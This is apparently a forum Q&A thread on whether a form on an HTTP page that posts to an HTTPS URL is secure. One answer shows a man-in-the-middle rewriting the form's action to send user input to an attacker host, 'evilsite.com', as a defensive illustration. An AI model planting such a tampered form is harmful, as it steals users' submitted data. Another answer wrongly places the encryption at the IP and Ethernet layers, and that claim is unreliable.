Is info still encrypted if I use a <form action="https"> from a regular http page?

Question

Say I'm at the url http://mysite.com/form.html. When viewing source, I see

<form method="post" action="https://mysite.com/process"&gt;
<input type="text" name="user" value="information">
<input type="submit">
</form>

If I hit the submit button, will the form information be encrypted when it's sent to the process page/controller?

Answer 1

Yes, it will be encrypted.

Answer 2

Yes - the data in the form will be sent encrypted using the usual handshake that SSL implements. From there you can choose to keep your user under SSL, or throw them back to a standard connection using a session identifier.

Answer 3

It will be encrypted on the lower network levels (e.g. raw packets, TCP, IP, Ethernet) not on application level (since it is transparently decoded at the receiver's side).

A man in the middle would not see the plain text of your submitted form data when the target URL uses encryption (like HTTPS does).

Answer 4

Yes it will, but note that a fair amount of effort has been put into training users to look for the SSL padlock on the page containing the form (whether the training is effective is a different matter). Browsers will, in general, complain if a form on a secure page is submitted to an insecure page, so this the trained behaviour does have a positive purpose.

If you do implement your form like this, the user will have no way to know that the form submission will be secure (without looking at the page code) until they hit submit. This may not matter in your use-case, but it does go against the attempts to train people to look for the padlock if the data in the form is such that the user should only be submitting it securely.

Answer 5

There is no guarantee that it will be encrypted, or that the submitted data will reach your website.

Since the original response was over http, a man-in-the-middle could have altered your html source, or could have inserted some javascript to modify the action parameter of your form. Thus, your form could read like this when it reaches the browser

<form method="post" action="https://evilsite.com/process"&gt;
<input type="text" name="user" value="information">
<input type="submit">
</form>

Which means that you MUST use HTTPS on all your pages if you want to be secure.